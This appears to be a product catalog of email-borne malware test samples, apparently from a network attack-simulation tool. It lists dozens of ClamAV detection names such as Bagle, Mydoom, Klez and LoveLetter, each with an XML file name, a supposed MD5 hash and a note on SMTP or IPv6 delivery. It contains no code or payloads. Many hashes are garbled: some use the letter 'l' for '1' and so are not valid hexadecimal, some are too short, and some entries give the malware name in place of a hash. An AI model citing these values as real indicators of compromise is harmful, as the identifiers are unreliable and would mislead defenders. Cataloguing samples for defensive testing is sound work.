Threat File Name:	Worm.Soda.56a183ab_IPv6.xml
Executive Description:	Email Virus Worm.Soda (IPv6 Version)
Detailed Description:	This is the email virus Worm.Soda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 56a183abf5b62d02c9842661648233a0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.Rogut.rog.ed010bb8_IPv6.xml
Executive Description:	Email Virus Email-Worm.BAT.Rogut.rog (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.BAT.Rogut.rog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.Rogut.rog. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.IWorm.MP.Virus.52040688_IPv6.xml
Executive Description:	Email Virus Trojan.IWorm.MP.Virus (IPv6 Version)
Detailed Description:	This is the email virus Trojan.IWorm.MP.Virus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 52040688c639ad17613dddaa900b29a4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kuasa.c15a7ael_IPv6.xml
Executive Description:	Email Virus Worm.Kuasa (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kuasa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c15a7ael8bba46cfee9b16dfb79bcff1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Gift.B.d6dd0e68.xml
Executive Description:	Email Virus Worm.Gift.B
Detailed Description:	This is the email virus Worm.Gift.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6dd0e682d5aa648b9ab1f91b0d5a3c0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Brit.E.3033d2e9.xml
Executive Description:	Email Virus Worm.Brit.E
Detailed Description:	This is the email virus Worm.Brit.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3033d2e9d99668678d24a4fca7d05ac1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Heffer.d.d.fbff8e90_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Heffer.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Heffer.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Heffer.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.055697d6_IPv6.xml
Executive Description:	Email Virus Worm.Hatred.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 055697d68b3278441a3dc863ec4fce59. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kondrik.b.575c9073_IPv6.xml
Executive Description:	Email Virus Worm.Kondrik.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kondrik.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 575c90738a639d3dcb7e2a0e22b7a4c4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Rous.A.ab46b2fe.xml
Executive Description:	Email Virus Worm.Rous.A
Detailed Description:	This is the email virus Worm.Rous.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ab46b2feb233f5ce78e01161c3688c02. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mir.2ab6b53b.xml
Executive Description:	Email Virus Worm.Mir
Detailed Description:	This is the email virus Worm.Mir as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2ab6b53b3c58f2ba7ed78ed6falaab1b5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.d0ala23f.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d0ala23f732d8881e7725e7334864c8a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Clown.a.c560bbd3_IPv6.xml
Executive Description:	Email Virus Worm.Clown.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Clown.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c560bbd3a5e98519b57fc3f91a90eb94. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Magistr.A.poly.a3804d2c.xml
Executive Description:	Email Virus Worm.Magistr.A.poly
Detailed Description:	This is the email virus Worm.Magistr.A.poly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3804d2cd9dd2d44a6f3464d6457b9ca. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BD.7e8a6fca.xml
Executive Description:	Email Virus Worm.LoveLetter.BD
Detailed Description:	This is the email virus Worm.LoveLetter.BD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e8a6fcaa83d76cad8b12a601df067b2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Sobig.D.70bc5688_IPv6.xml
Executive Description:	Email Virus Worm.Sobig.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sobig.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 70bc5688274647a7589a90691ddeb3d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.e4e7d15d.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4e7d15d6de66de3ed6acec31ebb6f14. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Updater.e.e.blcafbf0.xml
Executive Description:	Email Virus Email-Worm.Win32.Updater.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Updater.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Updater.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Noverus.ea2lee79.xml
Executive Description:	Email Virus Worm.Noverus
Detailed Description:	This is the email virus Worm.Noverus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ea2lee7970334523d951b30a2c41e528. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kazus.b.b.ed651d65_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Kazus.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Kazus.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kazus.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zeam.b90df190.xml
Executive Description:	Email Virus Worm.Zeam
Detailed Description:	This is the email virus Worm.Zeam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b90df190ebbcbb96edeef146d1fb977. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Calposa.492cb47d.xml
Executive Description:	Email Virus Worm.Calposa
Detailed Description:	This is the email virus Worm.Calposa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 492cb47d844368063828cd74c5185alf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.WCGen.4c2b4d62_IPv6.xml
Executive Description:	Email Virus Worm.WCGen (IPv6 Version)
Detailed Description:	This is the email virus Worm.WCGen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c2b4d6277d92e554ae1369a8a4b68e2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.e7602fbf.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e7602fbf6b9f4f230722c044bf2528b5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BB.b2cda449.xml
Executive Description:	Email Virus Worm.LoveLetter.BB
Detailed Description:	This is the email virus Worm.LoveLetter.BB as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b2cda449c00abcecc0f056416750052c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Melting.4784e42c_IPv6.xml
Executive Description:	Email Virus Worm.Melting (IPv6 Version)
Detailed Description:	This is the email virus Worm.Melting as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4784e42c3b15d1a141a5e0c8abc1205c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	W98.Hybris.E.40256df2_IPv6.xml
Executive Description:	Email Virus W98.Hybris.E (IPv6 Version)
Detailed Description:	This is the email virus W98.Hybris.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 40256df28df89975a6c586cf0432c881. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Fundll.218fe324.xml
Executive Description:	Email Virus Worm.VBS.Fundll
Detailed Description:	This is the email virus Worm.VBS.Fundll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 218fe324d7fe56749c00af8b4b7ea97. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Anar.A.c3993c02_IPv6.xml
Executive Description:	Email Virus Worm.Anar.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Anar.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c3993c02a91cb99e959da0053a8460ab. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Backdoor.Rustock.B.11d19b6_IPv6.xml
Executive Description:	Email Virus Backdoor.Rustock.B (IPv6 Version)
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 11d19b60ae921ac90c2b73c2afe18e0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Timofonica.e9ab05c5_IPv6.xml
Executive Description:	Email Virus Worm.Timofonica (IPv6 Version)
Detailed Description:	This is the email virus Worm.Timofonica as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e9ab05c5659af392771008bf061f0f5b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Choke.1.484e156c.xml
Executive Description:	Email Virus Worm.Choke.1
Detailed Description:	This is the email virus Worm.Choke.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 484e156cb34961ec3d17b130ed805c05. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Entangle.ent.911e5ba3.xml
Executive Description:	Email Virus Email-Worm.Win32.Entangle.ent
Detailed Description:	This is the email virus Email-Worm.Win32.Entangle.ent as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Entangle.ent. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mari.b.6513e97c.xml
Executive Description:	Email Virus Worm.Mari.b
Detailed Description:	This is the email virus Worm.Mari.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6513e97cfff6656fd7b5a29859fe47d3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Redirect.9c031483_IPv6.xml
Executive Description:	Email Virus Worm.Redirect (IPv6 Version)
Detailed Description:	This is the email virus Worm.Redirect as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9c031483784b849be5d0caf86bcff063. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.h.h.86883930.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.h.h
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MyPics.d.5e045198.xml
Executive Description:	Email Virus Worm.MyPics.d
Detailed Description:	This is the email virus Worm.MyPics.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5e04519844fdclf080b1e8c15f648753. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.AM.87993159_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.AM (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.AM as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 879931599d63a160b9fd4dc3cc2ac8b4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SWMF.A.42ac9c0a_IPv6.xml
Executive Description:	Email Virus VBS.SWMF.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.SWMF.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42ac9c0ab1d209d6edf9ba1010cdf945. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Horty.b.b.b22f1e9a.xml
Executive Description:	Email Virus Email-Worm.VBS.Horty.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Horty.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Horty.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Angela.1d4cff52_IPv6.xml
Executive Description:	Email Virus VBS.Angela (IPv6 Version)
Detailed Description:	This is the email virus VBS.Angela as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d4cff52542336e930d189038bdbb31a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mydoom.B.cc6e6aa3_IPv6.xml
Executive Description:	Email Virus Worm.Mydoom.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mydoom.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cc6e6aa338385fbb0a005ba3d3e060f3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.95ef42bd_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95ef42bd46b432bff07398e347faee62. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Wideman.8135.b.b.99519cea_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Wideman.8135.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Wideman.8135.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Wideman.8135.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Calgary.c.c.9661abf8.xml
Executive Description:	Email Virus Email-Worm.Win32.Calgary.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Calgary.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Calgary.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.b.b.2a0b92da_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.B.997f3291.xml
Executive Description:	Email Virus Worm.Brit.B
Detailed Description:	This is the email virus Worm.Brit.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 997f3291519385aa8b34c5cdc401f834. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.03.f3680ee3.xml
Executive Description:	Email Virus VBS.LoveLetter.03

Detailed Description:	This is the email virus VBS.LoveLetter.03 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f3680ee3f10aec63ac22b5ee21235b88. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W95.Silver.1.63db7235.xml
Executive Description:	Email Virus W95.Silver.1
Detailed Description:	This is the email virus W95.Silver.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 63db723516db09bf837938254e8cb1d3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zokrim.c.c.03063822_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Zokrim.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Zokrim.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zokrim.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.8eb51eal.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8eb51eal54966ca89e87c4f7eff80b4c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.h.h.ff761bbc_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.h.h (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Roaller.roa.310db78b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Roaller.roa (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Roaller.roa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Roaller.roa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	IRC.Anjuliej.A.72cl168a.xml
Executive Description:	Email Virus IRC.Anjuliej.A
Detailed Description:	This is the email virus IRC.Anjuliej.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 72cl168a3c26f638e584d018faaf0696. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Junkboat.b.8ef82c44_IPv6.xml
Executive Description:	Email Virus Worm.Junkboat.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Junkboat.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8ef82c44e2f1404c97ad765a953473ed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Youzer.you.a489c2bd.xml
Executive Description:	Email Virus Email-Worm.Win32.Youzer.you
Detailed Description:	This is the email virus Email-Worm.Win32.Youzer.you as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Youzer.you. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.E.a7d6779c.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a7d6779c9a558a538bc77a5316041c4b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BL.2337a6cc_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BL (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BL as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2337a6cc7169418e15e755dd43c9b1f8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.4a42956f.xml

Executive Description:	Email Virus Worm.Bagle.BB-gen
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4a42956f7ece688d0ab4f67bd279a2fd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.2cc4a4ac_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2cc4a4ac5baec223f3a8809b333b3c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Totilix.C.21dbca1c.xml
Executive Description:	Email Virus Worm.Totilix.C
Detailed Description:	This is the email virus Worm.Totilix.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 21dbca1c9215f718afb88fa6b1d3e7c7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-dll.c0bf8276.xml
Executive Description:	Email Virus Worm.Bagle.Gen-dll
Detailed Description:	This is the email virus Worm.Bagle.Gen-dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c0bf8276e4089a0a7bdcd06861b53a69. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AP.f7882c8d_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AP (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AP as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7882c8dac0e8611814fb74baaa0fec1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Stepaik.A.b66016c1_IPv6.xml
Executive Description:	Email Virus Worm.Stepaik.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Stepaik.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b66016c129bfdc061294729b93454c33. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Lipossa.a.a.fa7fcf99.xml
Executive Description:	Email Virus Email-Worm.VBS.Lipossa.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.Lipossa.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Lipossa.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Lamerone.f23505a1_IPv6.xml
Executive Description:	Email Virus VBS.Lamerone (IPv6 Version)
Detailed Description:	This is the email virus VBS.Lamerone as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f23505a1be458284f34acd3b87659a2e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Poo.4f292a8e_IPv6.xml
Executive Description:	Email Virus Worm.Poo (IPv6 Version)
Detailed Description:	This is the email virus Worm.Poo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f292a8e2c921c17707deaf8c232d133. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Manymize.man.5e26c953.xml
Executive Description:	Email Virus Email-Worm.Win32.Manymize.man
Detailed Description:	This is the email virus Email-Worm.Win32.Manymize.man as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Manymize.man. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hobat.A.0dd3ef0f.xml
Executive Description:	Email Virus Worm.Hobat.A
Detailed Description:	This is the email virus Worm.Hobat.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0dd3ef0fce93d4b0d898feaed63a0f0f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Bagle.AG.2.eab0f022.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eab0f0225e152a61b7a83a47b2f620ae. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Rays.A.2a53b32f8.xml
Executive Description:	Email Virus Worm.Rays.A
Detailed Description:	This is the email virus Worm.Rays.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2a53b32f891e1ec1bf71a3f3746d4bbb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Lowjo.C.199adafa.xml
Executive Description:	Email Virus Trojan.VBS.Lowjo.C
Detailed Description:	This is the email virus Trojan.VBS.Lowjo.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 199adafa25c013f9ade26e4e41d63f61. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Killav-31.ceafebaf.xml
Executive Description:	Email Virus Trojan.Killav-31
Detailed Description:	This is the email virus Trojan.Killav-31 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ceafebaf025f463def80307bdadb7cb4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.8245d806_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8245d80681af850af635649d8a6220b3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.d4698441.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4698441dae48bb31b35aa2f5f7d78ab. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Delta.A.f0ed4e5b_IPv6.xml
Executive Description:	Email Virus Worm.Delta.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Delta.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f0ed4e5bd8930229f7237f9dal827f08. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.NatiDay.207486dl_IPv6.xml
Executive Description:	Email Virus Worm.NatiDay (IPv6 Version)
Detailed Description:	This is the email virus Worm.NatiDay as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 207486dl302602714133ed92elc22e39. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Wozer.C.ab4771ab_IPv6.xml
Executive Description:	Email Virus Worm.Wozer.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Wozer.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ab4771ab05c26c040d9e58d7971a3006. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.e26805de.xml
